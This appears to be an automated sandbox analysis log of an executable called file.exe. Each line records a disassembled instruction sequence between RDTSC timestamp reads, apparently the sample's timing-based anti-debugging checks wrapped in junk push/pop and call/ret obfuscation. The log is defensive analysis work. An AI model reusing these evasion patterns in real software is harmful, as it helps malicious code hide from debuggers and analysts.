Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194AFE second address: 1194B05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119504C second address: 1195050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195050 second address: 1195054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195054 second address: 1195064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jo 00007FF3F8FBCCA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195064 second address: 1195086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195086 second address: 119508A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119508A second address: 1195094 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3F8BEF696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11957D6 second address: 11957FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF3F8FBCCA6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FF3F8FBCCA6h 0x00000013 jmp 00007FF3F8FBCCB2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11957FB second address: 11957FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11957FF second address: 1195813 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF3F8FBCCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FF3F8FBCCACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11959A6 second address: 11959B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 js 00007FF3F8BEF696h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11959B2 second address: 11959B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199510 second address: 1199514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199514 second address: 1199522 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199522 second address: 1199533 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jbe 00007FF3F8BEF69Eh 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A7F4 second address: 119A7F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CF46 second address: 119CF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11685AD second address: 11685B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11685B7 second address: 11685C1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF3F8BEF696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A13F3 second address: 11A142A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB1h 0x00000007 pushad 0x00000008 jp 00007FF3F8FBCCA6h 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007FF3F8FBCCAAh 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f push edx 0x00000020 pop edx 0x00000021 js 00007FF3F8FBCCAAh 0x00000027 pushad 0x00000028 popad 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0961 second address: 11A0966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0966 second address: 11A0982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF3F8FBCCAFh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0F5D second address: 11A0F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0F61 second address: 11A0F9A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FF3F8FBCCB5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FF3F8FBCCB6h 0x00000011 pop esi 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5CD9 second address: 11A5D0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jmp 00007FF3F8BEF6A3h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5D0C second address: 11A5D2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5D2C second address: 11A5D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A5D30 second address: 11A5D5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF3F8FBCCACh 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 jnc 00007FF3F8FBCCACh 0x00000016 jnp 00007FF3F8FBCCA6h 0x0000001c push eax 0x0000001d push edx 0x0000001e jng 00007FF3F8FBCCA6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A60BE second address: 11A60C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A627D second address: 11A6282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6521 second address: 11A6525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6525 second address: 11A652F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6BDA second address: 11A6BDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A6ECB second address: 11A6ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7516 second address: 11A7520 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7520 second address: 11A75BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FF3F8FBCCA8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 pushad 0x00000023 clc 0x00000024 mov cx, DA5Ch 0x00000028 popad 0x00000029 push 00000000h 0x0000002b xor si, B2BAh 0x00000030 movzx esi, bx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 call 00007FF3F8FBCCA8h 0x0000003d pop eax 0x0000003e mov dword ptr [esp+04h], eax 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc eax 0x0000004b push eax 0x0000004c ret 0x0000004d pop eax 0x0000004e ret 0x0000004f jmp 00007FF3F8FBCCB2h 0x00000054 mov dword ptr [ebp+122D1E8Fh], esi 0x0000005a push eax 0x0000005b pushad 0x0000005c jo 00007FF3F8FBCCB3h 0x00000062 jmp 00007FF3F8FBCCADh 0x00000067 push eax 0x00000068 push edx 0x00000069 jmp 00007FF3F8FBCCAFh 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7F95 second address: 11A7F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7F9B second address: 11A7FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7FA0 second address: 11A7FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A7FA6 second address: 11A7FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9137 second address: 11A91BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FF3F8BEF6A8h 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007FF3F8BEF698h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FF3F8BEF698h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 cld 0x0000004a push 00000000h 0x0000004c mov di, ax 0x0000004f push eax 0x00000050 pushad 0x00000051 jmp 00007FF3F8BEF69Fh 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A91BB second address: 11A91BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5A3 second address: 11AA5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A98F5 second address: 11A98FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA274 second address: 11AA279 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5A8 second address: 11AA5B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A98FB second address: 11A98FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5B2 second address: 11AA5C3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5C3 second address: 11AA5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAF84 second address: 11AAFB4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3F8FBCCA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d pushad 0x0000000e push esi 0x0000000f sub dword ptr [ebp+122D2CFDh], ebx 0x00000015 pop esi 0x00000016 popad 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+124434C8h], edi 0x0000001f push 00000000h 0x00000021 movsx esi, dx 0x00000024 push eax 0x00000025 jg 00007FF3F8FBCCB0h 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAD24 second address: 11AAD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 jmp 00007FF3F8BEF6A3h 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAD46 second address: 11AAD50 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF3F8FBCCACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC9E5 second address: 11ACA03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACA03 second address: 11ACA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACA07 second address: 11ACA0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACA0B second address: 11ACA11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADAEE second address: 11ADAF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADAF2 second address: 11ADAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1AF5 second address: 11B1AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1AF9 second address: 11B1AFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AD7BD second address: 11AD7C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1161C2C second address: 1161C31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B21A4 second address: 11B21AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B21AA second address: 11B21AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B3168 second address: 11B316D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B316D second address: 11B317F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3F8FBCCA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B317F second address: 11B3183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6286 second address: 11B6298 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6298 second address: 11B629D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B629D second address: 11B62E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCAFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx edi, dx 0x0000000d push 00000000h 0x0000000f sub dword ptr [ebp+122D2412h], ebx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007FF3F8FBCCA8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 movzx edi, si 0x00000034 push eax 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B62E8 second address: 11B62EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7213 second address: 11B72A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8FBCCB7h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FF3F8FBCCB7h 0x00000012 adc edi, 005249D7h 0x00000018 pop ebx 0x00000019 pushad 0x0000001a jno 00007FF3F8FBCCACh 0x00000020 ja 00007FF3F8FBCCA8h 0x00000026 popad 0x00000027 push 00000000h 0x00000029 mov edi, dword ptr [ebp+122D383Dh] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007FF3F8FBCCA8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b sub dword ptr [ebp+122D57DEh], ecx 0x00000051 push eax 0x00000052 je 00007FF3F8FBCCB4h 0x00000058 push eax 0x00000059 push edx 0x0000005a je 00007FF3F8FBCCA6h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B82BD second address: 11B82C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B82C1 second address: 11B82C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B933A second address: 11B933E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE956 second address: 11BE95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE95A second address: 11BE95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE95E second address: 11BE9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push esi 0x00000009 jl 00007FF3F8FBCCACh 0x0000000f jp 00007FF3F8FBCCA6h 0x00000015 pop esi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FF3F8FBCCA8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 clc 0x00000032 push 00000000h 0x00000034 sub edi, 23B43718h 0x0000003a push 00000000h 0x0000003c mov edi, 46E3F142h 0x00000041 xchg eax, esi 0x00000042 pushad 0x00000043 pushad 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 push eax 0x00000047 pop eax 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b push edi 0x0000004c pop edi 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0EB7 second address: 11C0EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0EBB second address: 11C0EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0EBF second address: 11C0EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2307 second address: 11B230C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B230C second address: 11B2332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF3F8BEF696h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF3F8BEF6A5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1EF7 second address: 11C1EFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B42D6 second address: 11B42DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B43A2 second address: 11B43A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6459 second address: 11B6467 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6467 second address: 11B646B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
